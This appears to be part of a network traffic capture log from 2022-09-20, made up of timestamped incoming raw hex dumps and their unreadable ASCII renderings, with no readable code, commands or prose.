0b f2 4d b6 79 c6 0a 88 c2 c3 ae a6 7a c9 20 52 55 
Data Ascii: WbUQ M(|WlT.9T"57 B"pkv<5rtd?"Rx i?f/+v|BI{(DHh=oID0[MfKlnCWsQ}">"<U=Ods0L"D/r"bU8zR7oX 
ezQlvrf{RGb?BCX?Myz RU

2022-09-20 10:10:08 UTC 270 IN Data Raw: 41 22 06 dd df 2e e8 6e 55 c7 c3 48 72 e8 61 e4 26 19 7e 93 73 f7 ca f0 9b 41 c2 4e 86 bb f3 95 e9 8f 41 86 
36 ea d3 27 17 4c 0f c9 88 24 a0 a7 aa 52 34 af c2 4b 34 57 38 20 b7 8a 9f 9a 26 5c cb 4f ed 52 ba 5d 8f 95 d3 ed 06 79 
5e 1a 84 d4 2a a6 db fd a4 61 77 ba dd 20 f1 a0 c0 6d fb ca 74 bb ed 52 ba 5d 0f bb d3 ed 06 d9 1f 53 34 b3 ea 06 89 68 
a1 b8 0f 0a 59 38 dc a0 b8 e3 10 59 38 22 66 7d 76 55 8a 98 15 24 e2 dc f9 87 72 fe da 9b dc 08 56 ee 56 6d 05 2b 8f 6d 
0f 49 4e bf f0 fb 08 a4 cf b9 23 48 b4 9b 0b d4 54 c0 e8 94 5f 5f 89 28 bc 57 da 4c 88 a3 ca 66 e2 26 61 9e e0 d1 85 cf 86 
64 74 b8 80 bb aa 2e 17 f0 20 cf 01 52 c8 05 c7 8c 5d 68 b9 20 cd ac 84 9a 0b 62 5e 1d 0e cf ab de 57 e6 58 17 52 3f c6 
09 60 24 24 e1 03 16 d8 5a af 02 69 c2 dd 57 97 74 2b 
Data Ascii: A".nUHra&~sANA6'L$R4K4W8 &\OR]y^*aw mtR]S4hY8Y8"f}vU$rVVm+mIN#HT__(WLf&adt. R]h b^WXR?`$
$ZiWt+

2022-09-20 10:10:08 UTC 278 IN Data Raw: 7a f5 6a ef dd 6a 75 22 32 bf 12 9c 10 0d 15 c0 3a fa 8f 8f 91 6a 6c 87 11 25 22 f3 f1 45 e6 77 d6 08 c4 ee 8e 
a3 87 23 52 0d f8 ea ab a9 41 5f fd 20 db 73 6d 32 83 4f a6 2f 39 8f ba 8d 88 3c 90 38 dc 93 38 19 5d 2c c8 48 d1 ed d5 
8e 14 dd 2c 80 ba 4d 3c 26 d5 6d 41 0e a7 07 27 e2 c8 91 ad 35 d5 3b 44 ec ee 4a ab 62 0e 70 51 7f 15 64 71 24 36 22 
32 5f d0 2d fd 97 0a a8 5b 0a 12 9a 22 37 35 bc c9 ac c8 19 74 9a 5a 3a 58 e2 c9 e2 9a c4 40 ec 55 06 fe d1 de ae c0 3f 
41 3e 56 c4 13 91 c7 86 e5 80 9a da c5 bf e0 86 f3 bb 6b 14 9d 51 2f e9 18 10 44 1c e0 86 f1 b0 be da 4d e3 e1 20 c7 91 
7d 12 89 f9 8a 77 35 1d 5e 81 92 47 f9 e2 35 9c a7 01 50 63 01 14 5b ff fe e3 63 54 58 00 a5 13 47 8e c4 8b 5f 15 38 d9 
05 d1 62 01 f2 dd fd a5 a6 98 ef 0e 64 ac 12 18 f0 03 69 
Data Ascii: zjju"2:jl%"Ew#RA_ sm2O/9<88],H,M<&mA'5;DJbpQdq$6"2_-["75tZ:X@U?A>VkQ/DM }w5^G5Pc[cTXG_8bdi

2022-09-20 10:10:08 UTC 286 IN Data Raw: 31 11 99 67 70 d3 94 64 12 91 79 06 37 cd df 3c 11 99 5f c1 4d 89 c8 3c 83 9b 6a 12 15 dc 34 c8 93 65 8c 28 
99 47 98 b2 2a 1b af 44 c9 fc a9 cb fe ce 44 8d 05 10 a3 f8 7b 38 39 0f 48 07 ec 4c c4 69 7f d2 45 49 35 e4 a2 04 32 54 
93 aa 21 17 a5 20 e1 b7 ed 1a f4 db 06 39 2c dc 25 52 53 79 f9 51 53 ba fc 04 b9 eb c5 9c f1 af 82 ec db 4a 8e 44 1c 60 
ba 28 b9 c6 28 1e c7 98 77 77 c7 74 77 a7 e3 f5 11 71 4a 5a 44 b7 3d 35 16 f7 c4 fe 20 69 b1 79 20 69 31 0b 1e 27 e1 22 
52 8d c7 41 c4 12 0d f6 2a a3 6c ba 29 fa 73 82 8c 6d 29 af 32 89 38 f2 0e 33 2b f5 aa cb cc 4a f9 8a cc 5c 66 56 2f 09 e3 
96 3f c5 43 c6 2d 41 86 da d0 4d c9 9a 2a c8 90 f4 7f 70 c1 f6 c8 fb d1 c9 24 d2 c8 87 13 45 12 89 07 1e d6 5d 43 0f eb 41
16 9b 46 24 52 53 eb a8 5e 4e b2 24 90 c8 c1 f3 f3 
Data Ascii: 1gpdy7<_M<j4e(G*DD{89HLiEI52T! 9,%RSyQSJD`((wwtwqJZD=5 iy i1'"RA*l)sm)283+J\fV/?C-AM*p$E
]CAF$RS^N$

2022-09-20 10:10:08 UTC 294 IN Data Raw: 52 53 78 77 56 af 1c c9 33 c8 7b 5d ed ee 75 05 c3 17 0b 45 bb 7b 5d 65 4a 46 37 35 bc bd ee 5b 6b f0 38 f6 
e7 4b 22 c5 99 6b 28 c5 59 90 27 25 63 22 75 77 1d ab 97 44 6a 6a 9d a7 ad 44 9a 12 e8 19 dc 94 f5 0c ef da 79 c6 39 
b6 03 65 77 4b 06 d3 24 8f e2 60 9a 41 4e fb 54 27 2a 2c a8 27 7f 54 22 35 55 8b 3d d6 13 35 16 20 76 02 d7 55 a0 21 
1e 88 9d c0 25 5a 1c 33 33 dc 1e eb 59 57 40 6a 0a e9 31 7e 70 81 76 d1 12 e9 ba 9f 53 63 3f ee ee 8e 5d d4 35 b6 76 d
1 f2 7e be 67 89 02 15 15 0c c7 61 49 e4 1a d7 7d 10 88 bd 7a 32 3e 03 e7 ea 51 7c 86 20 a7 ed 4b 12 89 47 b9 ae 7d 81 
28 b0 bc c2 ce 09 dc 90 48 3c 32 0c 03 27 f1 51 18 86 70 70 be ee 6a c5 69 38 d3 0f 7a 1f e6 0a c3 10 e4 f1 44 4a a4 ee c
e e3 e2 1a 48 7b fb 4b 1e 03 9a 44 aa 71 6b 58 8a 53 7d 06 19 a2 
Data Ascii: RSxwV3{]uE{]eJF75[k8K"k(Y'%c"uwDjjDy9ewK$`ANT'*,'T"5U=5 vU!%Z33YW@j1~pvSc?]5v~gaI}z2>Q| KG}
(H<2'Qppji8zDJH{KDqkXS}

2022-09-20 10:10:08 UTC 301 IN Data Raw: 38 26 9b 40 fc 05 c3 64 2a f6 dd bf 3e 46 43 05 e7 a9 31 11 7b 95 af c8 6e 4a af c8 2f 89 18 42 9c 76 20 d5 98 
e3 c8 70 40 ae b1 1d 6f 29 91 ba 0b 7d e2 7f a8 29 e9 13 83 44 da 79 d5 58 9e ab 06 5f 00 f3 a0 2f c0 f3 dd d5 a9 44 88 
16 0b 62 01 bc b3 fb af 8f 51 f0 78 1e a6 20 cf 1a 8f 52 90 83 84 3a 3a 6b 24 2a 59 90 c1 e9 54 43 c1 e9 82 4c af 46 d6 
d8 f4 6a 0c 12 31 01 5d 83 31 01 c3 38 0c aa e2 bf ff e7 c7 68 64 01 32 fa b1 46 a2 c2 02 84 1d 53 0d 85 1d 7b c2 15 f0 
f0 48 44 1e 19 56 e9 ef ff f7 63 c4 a6 32 ab ae 6b 64 56 dd 20 33 15 ae 6a 30 15 ee 4b c6 99 26 47 1d a2 ec 6e 0d 07 52 
8d 3c 11 6a b4 07 77 00 d6 48 94 05 25 b5 6a b8 47 25 4a e6 ef 0f 89 b4 da ac d1 98 56 fb 25 7b 78 1c 73 23 4b 34 b2 46 
a4 5b 96 2c 4a 34 b2 60 40 98 60 0d 20 8c 3c 8c 00 9e 
Data Ascii: 8&@d*>FC1{nJ/Bv p@o)})DyX_/DbQx R::k$*YTCLFj1]18hd2FS{HDVc2kdV 3j0K&GnR<jwH%jG%JV%{xs#K4
F[,J4`@` <

2022-09-20 10:10:08 UTC 309 IN Data Raw: 95 af 19 2f 79 8c 42 12 a9 57 d7 4b 43 22 f1 88 14 1e 57 53 ba 7f b4 ef 15 49 27 91 6a 20 fc 8d a7 44 e1 6f 5e 
32 23 d0 fc f0 31 52 77 61 b9 4c 39 f1 f8 b1 ec f6 44 66 43 c9 70 40 e4 f1 3c 97 fe 0a 88 3c d2 cc 4a cc 6d 66 f5 92 27 a2 
35 11 99 a7 9b 39 7f da 66 37 f3 dd 32 d4 35 77 ea a6 50 d7 41 22 90 86 79 28 90 c6 4b c2 9e 5a 03 74 cc b3 1d 86 fd f5 
62 ae 40 1a 1b e6 ed de 32 60 de 4e e6 57 38 6d 22 f2 28 97 c1 46 22 f2 c8 38 db bc d7 36 c5 d9 0e b2 5f a7 73 20 ad dd 
32 ae 4f 0d 88 03 2c 30 d8 d0 c8 8b 0c 36 b6 5c 49 d4 94 ac 2c 22 61 e5 09 fe 9b 88 cc 33 ce b6 c6 a1 38 db 41 c2 37 43 
4d d9 37 23 32 59 5e b7 22 20 32 af b0 f2 d6 82 ab b2 f2 8e 7d ef c4 f8 4d 44 1e ed a4 77 4d a4 9f b6 3d 27 d0 65 a2 a2 
82 4b 21 04 c4 29 69 c5 b9 6b 88 c4 a3 34 87 30 4c 
Data Ascii: /yBWKC"WSI'j Do^2#1RwaL9DfCp@<<Jmf'59f725wPA"y(KZtb@2`NW8m"(F"86_s 2O,06\I,"a38A7CM7#2Y^" 
2}MDwM='eK!)ik40L

2022-09-20 10:10:08 UTC 317 IN Data Raw: 7a d5 e9 6b 19 e4 71 90 4c a4 e5 d3 87 d3 83 13 89 c7 74 70 53 a2 a5 02 47 9a 22 72 0d 1b 5a 03 0d 4d 62 
87 2b e2 5f 7f 7c 8c d4 ab 93 5e 89 48 e3 80 c7 a1 99 d3 e3 f0 25 c7 49 af 94 48 4b 74 c0 e9 4f e3 18 74 fa 0b 12 9e 7a 
da 45 07 3d f5 82 ac b6 f8 25 22 f3 01 9f 38 31 1f f4 89 0b 12 8e 6c d0 9e 27 d2 12 1d 27 8b 12 91 9a 82 73 96 7e c1 41 
e7 ac 86 1c 63 d7 5c 4d 7a 54 05 f9 38 95 21 11 c7 31 8f ef 12 11 c7 31 ab b5 ce 44 64 3e 4f a6 26 22 31 cf 4c 4d fc 6a 
27 7d 7e 82 3c fe 38 44 e2 01 27 1a 2d 9f 49 27 9a 97 5c e7 5e 4b c4 ee ae f4 cd 60 77 17 7d 33 82 84 43 85 6b d0 a1 22 
48 e4 2b d2 5c 2d e6 2b 0a 12 3e 0d 9a 92 45 9f 86 20 71 19 c5 f5 35 91 16 f5 9a eb 3a 20 17 3d 14 82 5c fd 3a a3 16 fd 
0d 40 c6 de ae 8d 6c 2d ef ed 0b 4e 02 1e c7 f6 da dd 65 5f 
Data Ascii: zkqLtpSG"rZMb+_|^H%IHKtOtzE=%"81l''s~Ac\MzT8!11Dd>O&"1LMj'}~<8D'-I'\^K`w}3Ck"H+\-+>E q5: =\:@l-
Ne_

2022-09-20 10:10:08 UTC 325 IN Data Raw: 71 8f 98 2c 45 40 d4 71 ab b2 07 e2 05 c2 8c ab 2b 97 19 77 b4 99 48 15 0c 71 93 69 30 e3 de a1 b6 96 0f cc 
b8 1a 4a 66 dc 23 26 5a 70 20 2a 87 b5 56 17 28 6b ed f0 ca ef 61 e4 18 4d d6 da e1 95 df 35 2b d1 f8 0c af fc ae 27 4a 
9c fd f6 bd 9a 57 89 f8 7d 86 97 84 e7 ef c1 92 f0 10 db e5 df 05 1a 6c 48 56 03 a0 50 de c1 08 a4 a1 c4 08 34 bc ba 3c ef 
55 97 71 79 74 50 05 49 87 a8 82 46 07 55 90 7a 88 2a 68 78 3d 7a 3e 06 5d e6 e8 23 a6 cf 3e 20 ea 40 c1 80 bf 38 2b 
15 0c 18 3d 93 0b 01 f1 02 61 d9 d6 75 c8 b2 7d c4 c4 99 09 44 e5 35 99 2c 80 a8 1c 74 44 bc ed 5d 74 44 96 c6 66 a5 
bb 7f ff 08 51 39 78 8a 74 1d e2 29 3a a2 9d 90 79 54 eb 2a 63 70 9e 81 14 e8 00 44 e5 b0 b7 f3 7d de 65 6f 37 d2 87 6b 
ad 05 a2 72 54 44 d0 74 55 11 e1 3c 59 ef 0d e6 06 a2 72 98 
Data Ascii: q,E@q+wHqi0Jf#&Zp *V(kaM5+'JW}lHVP4<UqytPIFUz*hx=z>]#> @8+=au}D5,tD]tDfQ9xt):yT*cpD}eo7k
rTDtU<Yr

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 333 IN Data Raw: ef 1e d1 ec bb df be 7f 84 a8 bc de 24 65 47 54 5e 7b 5a 3e 53 f6 dd 77 22 f3 9e 8f c1 ac fa 30 99 20 12 e7 d6 
37 49 24 6e 62 51 66 98 23 2a 6f 37 37 c3 11 95 b7 5b 68 d8 11 95 f7 64 1c 40 5e 08 95 83 48 5c f7 8a 44 e2 26 e6 63 ed 
94 d5 f9 88 2b ad ab d9 f5 b9 34 41 24 ce 13 f2 24 91 b8 89 97 8a 11 48 eb 2a 1b b0 81 a8 1c d4 02 5c a2 73 e8 84 3c 67 
3e 21 cf a9 13 f2 04 91 b8 2e 70 ea 84 3c 41 24 ae b5 3b 75 42 9e 60 29 90 8e a9 13 f2 5c 6f 5e 70 4b 27 e4 09 22 71 2d 
9f a5 13 f2 84 bd 5d ca 65 6f 7f e7 5a e9 7c 35 65 6f b7 b8 b3 74 be 9a b2 b7 1f 31 59 20 81 a8 1c f6 76 2d 38 d9 db 8f 98 
cf d4 73 eb 4c bd c0 30 ce b5 bb c8 30 6e 22 58 1d ff fa 08 0d 36 8c f4 05 b9 1e 9d c2 d7 73 59 1d 1d 85 f2 05 86 71 7e 
66 2c 32 8c 9b 68 c7 73 7e ab d9 e9 83 ca 41 3d ce 
Data Ascii: $eGT^{Z>Sw"0 7I$nbQf#*o77[hd@^H\D&c+4A$$H*\s<g>!.p<A$;uB`)\o^pK'"q-]eoZ|5eot1Y v-8sL00n"
X6sYq~f,2hs~A=

2022-09-20 10:10:08 UTC 341 IN Data Raw: 77 b0 af 72 a5 2e 9c af cf 7d 6b f0 00 71 a8 99 0e f4 86 b8 18 7a f6 f6 01 71 ba f0 f6 69 56 f2 f6 19 0b d7 2d 18 
00 44 1d 2b c5 ef ce 2e 32 cd 23 ee f4 d4 76 95 26 3e b7 3f 45 1b 02 a9 a1 df f0 3d a0 98 15 dc 4b ba c0 21 37 a0 45 8b 
a6 6d 69 28 d9 e1 7c 5e a7 6f 03 a0 b8 8e 51 fb 35 34 02 71 28 10 76 7e ff 89 0d 7a 1b 0c d4 45 d6 ac 54 17 79 c2 d8 77 
87 92 b7 6f 8e 91 22 1a 81 a8 03 39 0d bc bb 43 39 0d e0 9f 48 43 29 a7 e1 08 ef 2d 4c 08 c4 5b 02 6f df 0f 9c ae bc 7d 
13 df 7d f7 96 c8 a9 37 f1 b1 76 87 92 53 0f 1c 17 8a 24 07 c7 c5 c3 86 76 53 7b 80 06 1b ec 40 cf 33 dc 54 b2 83 3d d7 
e3 1e 71 a6 92 1d 8e 98 8f e7 53 de be 39 4b b2 97 00 71 28 af 21 cd a1 94 05 31 f1 4e d5 c9 72 2a d9 e1 88 a9 1e 24 10 
95 c3 0d 28 1d 72 03 da 91 a8 de ad 6f ca 0d 78 e6 
Data Ascii: wr.}kqzqiV-D+.2#v&>?E=K!7Emi(|^oQ54q(v~zETywo"9C9HC)-L[o}}7vS$vS{@3T=qS9Kq(!1Nr*$(rox

2022-09-20 10:10:08 UTC 348 IN Data Raw: d5 81 0a 1b c6 8d a1 07 e2 50 f5 4d 2f c8 a1 84 bc 23 8e f4 d4 0e e5 dd d5 81 a2 9a 1a aa e9 dc 3e 72 de 1d 
10 75 20 59 8e bf c7 50 b2 dc d9 30 f2 f1 7c 28 59 ee ec 1d c9 e4 0d c4 59 e5 44 36 d8 e1 39 d4 4e 76 6a a0 18 6a 3e 97 
d4 cd 51 63 c3 ba 79 2c 40 a1 63 be 29 fc 02 26 fd d0 31 b3 b7 0f 88 3a e0 bb 53 0f f9 ee ec 23 63 df e7 7c ca 45 77 fe f9 
9b 1e 83 d9 b5 8b 4e fb 43 1b 80 21 4e 77 24 5b 06 10 95 a3 50 e4 97 3f 3e 42 1c ca 42 84 ee 50 43 07 e1 69 c1 38 b4 
6c 03 71 ba c8 89 fb 59 0d da 77 27 d8 42 35 dd a9 7d 77 7a cd 49 ce 6a e9 bc 3b e1 1f 94 0e f9 07 eb b4 48 07 ba 39 80 
38 5d 54 a9 94 0e 56 a9 34 31 a5 c4 00 85 8e 05 57 23 4f 32 4b ae c6 23 5e ca 0a 47 8b 0d 66 a7 e6 f1 63 29 53 0f 04 fc 
8a 3c 03 01 7f 28 5f 48 e1 e3 ac 96 52 f8 8e 98 df 06 eb 
Data Ascii: PM/#>ru YP0|(YYD69Nvjj>Qcy,@c)&1:S#c|EwNC!Nw$[P?>BBPCi8lqYw'B5}wzIj;H98]TV41W#O2K#^Gfc)S
<(_HR

2022-09-20 10:10:08 UTC 356 IN Data Raw: ed 83 b9 32 81 06 1a 50 eb 3b 22 b6 1c 61 95 f4 27 72 01 70 1d 81 7c a8 3d c1 73 87 73 62 a0 11 0d 30 66 46 
0f a0 c2 86 c6 b0 b7 40 8b 0d 9b 35 dc fc 74 f5 3c d1 80 bd 5d 3d 62 6f 87 d8 59 f3 3e 10 75 80 32 0f 8b 3a 10 75 80 32 
0f 9f 64 81 78 1d 88 29 c2 13 15 28 86 5a 88 16 f9 16 ca 57 44 8b 40 14 e9 88 a3 f5 b0 61 d7 3b dd 15 59 42 26 36 85 e3 
07 a2 0e bc 8a 38 dd 15 af 22 13 bd b2 1c 75 04 a9 9b 89 60 62 fb 83 3d 82 89 cd 44 7c 4d 68 ba f1 35 01 51 a5 ed 03 a9 
c7 e4 47 35 d0 e2 6d 5f 88 03 50 8f 88 03 80 88 dd e7 a7 8f 50 5c c7 86 bb 9f 43 ed 70 f7 9b 88 6c 72 1c 26 1c c5 ba da 
bb 2b 26 35 10 7b c0 1b ce 7b b5 c3 1b 0e d1 9e 73 0d 15 19 d2 26 5e 6a b3 40 8d 0d 6d de 0b dc 91 bb 04 11 61 24 6a 
d8 fc 3d 36 3e dc b9 76 77 7c b8 9b e8 65 d4 a8 23 6c 96 10 
Data Ascii: 2P;"a'rp|=ssb0fF@5t<]=boY>u2:u2dx)(ZWD@a;YB&68"u`b=D|Mh5QG5m_PP\Cplr&+&5{{s&^j@ma$j=6>vw
|e#l

2022-09-20 10:10:08 UTC 364 IN Data Raw: 48 9a 89 53 0e 69 47 8d 0d f6 a1 e8 7e 1c 90 5c 71 5d cd 6c 10 02 62 8f ad fa 38 81 a8 63 a7 af bb 35 65 2f 
b1 e3 63 4d d3 95 bd e4 9c 24 93 bd 04 a8 b0 21 9d c2 0d f1 87 5a af 2a 5b 07 e2 50 e0 5b 52 8f a2 d5 be c0 09 c8 0b 5c 
45 2f c8 85 32 1f 52 5e f9 82 8c 24 9a 78 0c 94 44 63 75 9b 2f a9 74 a0 15 0d 3d 99 0d 81 1a 1b 92 d9 d0 50 e3 50 3d fd 
e6 5b 81 40 73 23 6a 93 d7 01 44 1d 48 26 95 8e cd 8d 6c c3 92 a2 a1 26 23 c9 cf 11 c1 fe d4 74 15 40 63 27 89 64 f7 01 
62 0f bc 20 63 5b f2 6c b9 68 40 64 4d dc f6 ad c8 9a 89 d0 0f fd 50 08 fd 88 59 2d bc a3 a4 43 ef a8 ed 21 37 b1 12 b7 
42 6e 4c 9c f7 04 00 14 b3 42 5e 9a 86 da 7a 15 9d 75 54 ef a2 06 6a 6c e8 d7 42 6f cb 8d bf e0 ae e9 13 19 88 3a c0 74 
cb 7b b5 83 e9 f6 ac e0 17 f5 d5 fc 96 38 1a de 50 50 01 
Data Ascii: HSiG~\q]lb8c5e/cM$!Z*[P[R\E/2R^$xDcu/t=PP=[@s#jDH&l&#t@c'db c[lh@dMPY-C!7BnLB^zuTjlBo:t{8PP

2022-09-20 10:10:08 UTC 372 IN Data Raw: 44 c5 fb 18 2a 5c ed 1b 64 16 b7 47 24 3b 40 ec e4 35 08 c4 e9 c2 e2 a5 1e 61 f1 82 a8 a3 5a 20 0e 85 e0 48 
f5 88 e0 48 13 c7 93 7e 73 c6 b7 43 54 f9 ca 40 bc 0e a4 4e ab 47 a4 4e 5b 95 b7 2a 6a 9a 40 d1 63 21 61 95 3d 56 24 
ac 5a f9 37 e4 a5 fa 7e e5 a8 78 c3 39 c8 ea 37 77 34 bc a1 de 64 52 47 7e 1d e5 9c 0b ec c5 82 f8 92 40 cd 1b e6 2b de 
a8 40 a1 dc e3 77 7d 67 70 e4 ca 5f 8f 7b f5 4d c6 91 2b 7f 7b 55 f8 45 20 1f ea f5 10 41 7f 7f 38 8a a1 bc a8 a6 bf 9d 1d 
f9 50 88 b2 e2 6b 02 c8 b7 f0 52 bc a6 5e dc 92 c2 9a 7a 56 94 ae c8 db 17 c8 75 9c 23 bf 99 58 39 d4 88 7c 35 af 5d 47 
b7 93 d7 ae f3 05 57 aa 7f b1 c4 bd aa fc 62 59 15 5e 72 ee 89 40 be ae ea 78 df ad 17 a4 a3 16 0d 48 b5 c2 b7 9a 57 57 
7b d8 63 74 bd 71 1c 95 68 98 ca d5 0f c4 a1 a6 ac 9c 8e 
Data Ascii: D*\dG$;@5aZ HH~sCT@NGN[*j@c!a=V$Z7~x97w4dRG~@+@w}gp_{M+{UE A8PkR^zVu#X9|5]GWbY
^r@xHWW{ctqh

2022-09-20 10:10:08 UTC 380 IN Data Raw: 9c d5 ed e2 0b 0f b1 3b 4e 5c a2 ae 1c 60 1d 92 f2 87 ac 43 21 e2 76 50 ca 1f dd 0e ee 4a e0 76 50 39 8a 6e 
07 b7 08 57 2b d5 aa d0 d5 0a 62 3b bf 39 50 61 02 ee 13 5d 94 ee 13 63 6e bd 36 90 5d 6c d3 7b 56 98 7d 9d e5 0e 28 
73 cc f4 a3 e7 68 9f f2 a3 0f 11 46 53 5c bc 80 94 03 0e f6 ce f1 6a 2e 99 e9 1b 4e e5 53 be e1 e1 91 04 2f 6c 7e 6a 53 5e 
d8 5b 4c 0f e9 9f b2 77 a7 3c a4 b7 78 79 16 13 51 79 ba ea 72 2f 3a e5 aa 1b 22 b6 38 ca 31 bd c5 99 79 30 f9 fd cf 1f 23 
2a bf 62 ea 11 51 c7 3a 81 3b 89 58 54 ba c4 a8 a8 e5 75 30 de a0 fa ab 2f 0a 48 45 81 1b f7 27 25 2c 9d ee d6 7b 58 4f 
57 3a d7 64 51 ab c1 65 8c 0d 04 62 8e 3e 9e 73 7c 05 ca 96 ef 61 68 76 4a a2 ac 6e 4c 63 67 81 04 42 cb df b8 be 90 dd 
6b a2 fc 0c c2 ee f8 ac 51 89 66 26 74 b0 bd e5 2f 98 
Data Ascii: ;N\`C!vPJvP9nW+b;9Pa]cn6]l{V}(shFS\j.NS/l~jS^[Lw<xyQyr/:"81y0#*bQ:;XTu0/HE'%,{XOW:dQeb>s
|ahvJnLcgBkQf&t/

2022-09-20 10:10:08 UTC 387 IN Data Raw: 1d 36 9b 0e 51 f1 b6 85 a6 12 86 cd 93 12 51 79 3a c5 aa 81 76 8a 0d f1 b0 2d 24 52 51 b0 f1 fa 59 3a 64 e3 
b5 45 84 7c e0 a7 06 a4 ea c2 a8 90 ab da 34 db 42 88 71 e6 fc db 5f 3f 46 d2 81 10 b2 1a 0c b3 ea 04 19 8f fd 7b 35 f8 
e1 2f 4a d0 6a 30 27 38 39 d4 bb b3 4d f5 6e 0c 3e 3d 99 26 92 0e f8 e3 e8 87 9a f2 c7 09 f3 85 79 56 35 20 b5 03 2c 1e 
ee 92 a5 b9 7d 06 2b d3 f9 ce 03 51 79 b2 59 fd 55 09 8f 26 e4 b9 c0 6e ac be 5a 45 f3 ee 3e 91 9f 87 91 44 54 1e 46 48 
cb 9f 41 18 21 49 79 ff da a4 20 91 94 e3 92 5c df e0 d2 25 f9 16 41 88 ae 06 92 10 1d 22 ac f4 b8 bf 9a 4b 56 7a 03 36 
85 8b 86 8b 40 fc 3e 82 f9 35 cc 93 fe f1 31 aa 4c 28 c7 e9 2f d1 64 02 98 8d 38 fb 00 15 26 80 8e c8 39 aa f6 bb eb 7b dd 
e9 03 4d 29 07 79 0a 5b 0e 24 e5 fd 38 de 26 52 51 20 
Data Ascii: 6QQy:v-$RQY:dE|4Bq_?F{5/Jj0'89Mn>=&yV5 ,}+QyYU&nZE>DTFHA!Iy \%A"KVz6@>51L(/d8&9{M)y[$8&RQ 

2022-09-20 10:10:08 UTC 395 IN Data Raw: 60 12 65 51 23 a3 d1 fe 9e 73 e2 60 34 da 30 f6 4e f2 c6 1c bb 89 a0 e3 89 e8 53 e1 59 8c df 23 11 fa aa 04 
23 87 d7 f3 44 3d 13 de b3 ad 25 9a 4c a8 be 7b 25 52 0e f8 9f e3 54 04 94 87 9f 10 b1 4f 74 0e ee 13 43 c4 e6 0e b7 38 
44 d2 81 1d 59 8e f6 44 ac ee 8b fd 95 73 70 7f b5 c5 7a ac bc 13 15 2a 0f 23 94 c7 ed 08 c4 a2 f0 ad e5 eb 52 e1 b7 c6 
84 d2 bf a7 e5 81 58 ab 06 5b e7 ec 44 20 e9 68 a0 e5 fb f1 a7 8f 91 74 80 56 c9 45 25 ad 52 8a e0 30 55 0e 9a 91 84 d8 
6c ab 46 24 e5 30 23 b1 0e 9a 91 40 c4 f0 f9 ab 12 38 7c f0 a1 c6 0e 59 45 d1 e1 28 0e ce 60 a6 f8 9d ed 20 33 45 88 49 
27 21 e5 a4 93 80 88 f5 fc 0f 2a 9f 5a cf 4b 3a de 9d 1c 5a cf 4b 30 61 74 9e ee 88 a4 03 5e 42 bf 2a c7 70 3b d2 19 28 bf 
f3 44 45 09 cb d3 52 22 e6 58 5f 1b ab 26 aa 5f 25 d4 
Data Ascii: `eQ#s`40NSY##D=%L{%RTOtC8DYDspz*#RX[D htVE%R0UlF$0#@8|YE(` 3EI'!*ZK:ZK0at^B*p;(DER"X_&_%

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 403 IN Data Raw: 3b fd 38 6b eb 8b ea b8 2f 51 51 dd f7 25 f1 ee 73 16 61 20 15 55 e6 b9 68 04 62 ad 7a c6 f3 e2 d8 ed af 27 80 
0e f3 24 e7 a8 5e 6b 3b cc 93 34 53 77 99 27 6d 11 56 48 1a 70 5d 56 48 5b cc d0 60 ca 31 3c 01 f4 08 0e 79 aa 3b 87 
ab 7b 5f bd 00 29 c7 fd 7c 06 44 1d 03 76 4b ca 31 64 b7 b4 45 18 1b a9 1d 43 c6 46 33 56 b1 7e 8a 1a c5 8b 70 86 44 
51 75 1d 12 25 c4 98 19 9c e3 f5 cc 30 f0 12 a7 c1 30 fc 12 b7 bf 94 e7 bc 5a 02 b1 77 07 8c 8d d4 57 43 c6 46 13 b4 06 
57 75 65 6c 14 62 3d 77 00 40 ce b1 ae 01 37 ba a7 8c 01 ea 58 cd 57 63 78 ca 18 b0 10 72 51 cb df f9 fc 96 76 7e 8f 40 
d4 91 c1 60 d4 bb 0e 06 13 e1 c6 de 73 01 01 44 e5 58 0f fc a9 4d 99 f5 84 e1 71 9c 6b d5 25 0e 1f 33 6b 86 8f 71 51 32 
eb 99 61 af 75 0e 58 40 ca 91 5c ac fc 3d a6 b8 58 43 8c 73 
Data Ascii: ;8k/QQ%sa Uhbz'$^k;4Sw'mVHp]VH[`1<y;{_)|DvK1dECF3V~pDQu%00ZwWCFWuelb=w@7XWcxrQ
v~@`sDXMqk%3kqQ2auX@\=XCs

2022-09-20 10:10:08 UTC 411 IN Data Raw: 2b 50 ba fc 59 3a 44 e9 b2 45 b0 d0 fe ac 04 b1 d0 86 78 e8 9b 13 a9 56 57 f4 a1 44 52 3e 4e 40 bf 78 ca d0 
c9 ab 26 d9 ec 7f fe e3 63 c4 a2 1e 50 ba 70 92 01 a2 f2 e7 39 ae 6f 89 58 dd 07 04 2d 52 fe 88 a0 25 8c 27 9e 7a aa fb 
d8 98 62 0b c7 b0 37 11 ab fb 80 87 45 7d f5 88 87 65 8b fd 7a 5d 02 92 72 d8 4c 70 88 02 a9 28 d0 ad 38 87 e8 56 56 
44 e4 3e c7 70 20 d5 6a 9d 50 ea 40 6e 07 8c 29 d4 89 8f 8d 29 f6 cc 7c dd 85 03 15 25 5c b6 83 40 53 09 e3 9c 26 e0 c0 
43 1d 05 3e 3f fc a2 80 a4 03 94 2e ce 21 4a 97 15 97 d1 af 2f c9 81 94 03 94 2e 56 2e 4a 97 10 63 d9 fe 97 13 b4 6c ef 
b9 f1 75 74 95 44 ec 92 02 4a 17 ee 32 80 d4 8e 71 c8 d0 12 49 f9 38 26 ff 89 94 63 5e f6 89 b5 d8 fc a2 e2 2a ed 14 25 
2f a1 10 af 63 1f 10 6b f5 3e 27 ea 42 22 b6 23 b9 71 a5 c3 
Data Ascii: +PY:DExVWDR>N@x&cPp9oX-R%'zb7E}ez]rLp(8VVD>p jP@n))|%\@S&C>?.!J/.V.JclutDJ2qI8&c^*%/ck>'
B"#q

2022-09-20 10:10:08 UTC 419 IN Data Raw: d4 bd 43 1e d3 3b e4 2d da 5b 96 c8 45 ad 75 66 b8 59 75 b4 dc 62 69 ed e4 b0 c1 c6 98 30 d8 e0 09 32 90 
66 ea 74 da 40 00 07 22 e7 b8 4c cc 81 54 dd 7e 99 d0 02 a9 56 30 f1 50 b7 4f 9b 78 ec c3 e7 f5 38 09 c4 a2 d6 d7 fe b5 
40 7a 9c dc 9a af 65 1b 88 3a 56 75 58 6d 22 56 77 35 c7 89 23 9a 4a 68 d7 6a 20 6f 8e 10 7b 3b cf e4 40 a9 03 be d6 fe 
